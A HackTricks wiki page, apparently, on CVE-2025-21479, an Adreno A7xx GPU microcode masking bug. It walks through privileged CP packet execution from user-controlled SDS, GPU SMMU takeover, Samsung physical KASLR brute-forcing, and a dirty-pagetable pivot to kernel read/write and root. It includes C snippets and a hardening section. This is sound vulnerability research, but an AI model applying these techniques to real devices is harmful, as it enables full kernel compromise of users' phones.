Adreno A7xx SDS->RB contournement de privilèges (GPU SMMU takeover to Kernel R/W)
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cette page abstractise un bug de logique de microcode Adreno A7xx observé en conditions réelles (CVE-2025-21479) en techniques d'exploitation reproductibles : abuser du masquage par niveau IB dans Set Draw State (SDS) pour exécuter des paquets GPU privilégiés depuis une app non privilégiée, pivoter vers une takeover du GPU SMMU puis obtenir un Kernel R/W rapide et stable via un dirty-pagetable trick.
- Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
- Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
- Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
- Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).
Contexte : niveaux IB, SDS et le masque $12
- Le kernel maintient un ringbuffer (RB=IB0). L'espace utilisateur soumet IB1 via CP_INDIRECT_BUFFER, chaînant vers IB2/IB3.
- SDS est un flux de commandes spécial entré via CP_SET_DRAW_STATE :
- A6xx: SDS est traité comme IB3
- A7xx: SDS déplacé vers IB4
- Le microcode suit le niveau IB courant dans le registre $12 et filtre les paquets privilégiés pour qu'ils ne soient acceptés que lorsque le niveau effectif correspond à IB0 (RB kernel).
- Bug : le microcode A7xx continuait de masquer $12 avec 0x3 (2 bits) au lieu de 0x7 (3 bits). Comme IB4 & 0x3 == 0, SDS était mal identifié comme IB0, permettant des paquets privilégiés depuis un SDS contrôlé par l'utilisateur.
Why it matters:
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
Exemple de diff de microcode (le patch a changé le masque en 0x7) :
@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7
Aperçu de l'exploitation
Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable.
Chaîne de haut niveau
- Craft a fake GPU pagetable in shared memory
- Enter SDS and execute:
- CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
- CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
- CP_SET_DRAW_STATE with run-now flags (dispatch immediately)
Primitives R/W GPU via fausse table de pages
- Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write
- Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)
Notes
- Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS.
- Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default.
Construction de la séquence de commandes SDS
- Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
- Construct an SDS buffer containing, in order:
- CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
- One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
- CP_SET_DRAW_STATE with flags to run-now
The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.
Trouver Samsung kernel physbase under physical KASLR
Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.
Representative loop
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}
Une fois que physbase est connu, calculez l'adresse virtuelle du kernel avec le mapping linéaire :
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
Stabiliser pour obtenir un R/W kernel côté CPU rapide et fiable (dirty pagetable)
GPU R/W est lent et de granularité fine. Basculer vers une primitive rapide/stable en corrompant les PTEs de votre propre processus (“dirty pagetable”) :
Étapes
- Localisez le task_struct courant -> mm_struct -> mm_struct->pgd en utilisant les primitives GPU R/W lentes
- mmap deux pages userspace adjacentes A et B (p. ex., à 0x1000)
- Parcourez PGD->PMD->PTE pour résoudre les adresses physiques des PTEs de A/B (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
- Écrasez le PTE de B pour qu’il pointe vers la last-level pagetable qui gère A/B avec des attributs RW (phys_to_readwrite_pte)
- Écrivez via la VA de B pour muter le PTE de A afin de mapper les PFNs cibles ; lisez/écrivez la mémoire kernel via la VA de A, en vidant le TLB jusqu’à ce qu’un sentinel bascule
Exemple de snippet dirty-pagetable pivot
uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE);
page_map[0] = 0x4242424242424242;
uint64_t tsk = get_curr_task_struct(ctx);
uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
uint64_t pgd_off = get_pgd_offset((uint64_t)map);
uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1);
uint64_t pmd_off = get_pmd_offset((uint64_t)map);
uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1);
uint64_t pte_off = get_pte_offset((uint64_t)map);
uint64_t pte_addr = phys_pte + pte_off;
uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
while (page_map[0] == 0x4242424242424242) flush_tlb();
Détection et durcissement
- Firmware/microcode: corriger tous les sites masquant $12 pour utiliser 0x7 (A7xx) et auditer les privileged packet gates
- Pilote: valider le niveau IB effectif pour les privileged packets et appliquer des allowlists par contexte
- Télémétrie: alerter si CP_SMMU_TABLE_UPDATE (ou des opcodes privilégiés similaires) apparaît en dehors de RB/IB0, surtout dans SDS ; surveiller les rafales anormales de 4/8 octets CP_MEM_TO_MEM et les schémas excessifs de vidage de TLB
- Noyau: durcir les métadonnées des tables de pages et détecter les schémas de corruption de PTE utilisateur
Impact
Une application locale avec accès GPU peut exécuter des paquets GPU privilégiés, détourner le GPU SMMU, obtenir un R/W arbitraire physique/virtuel du noyau, désactiver SELinux et obtenir le root sur les appareils Snapdragon A7xx affectés (p. ex., Samsung S23). Sévérité : élevée (compromission du noyau).
Références
- CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)
- Mesa freedreno afuc disassembler README (microcode + packets)
- Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)
- Dirty pagetable (archive)
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks